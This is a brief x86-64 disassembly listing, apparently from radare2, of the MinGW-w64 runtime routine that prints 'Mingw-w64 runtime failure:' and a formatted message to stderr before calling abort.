lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]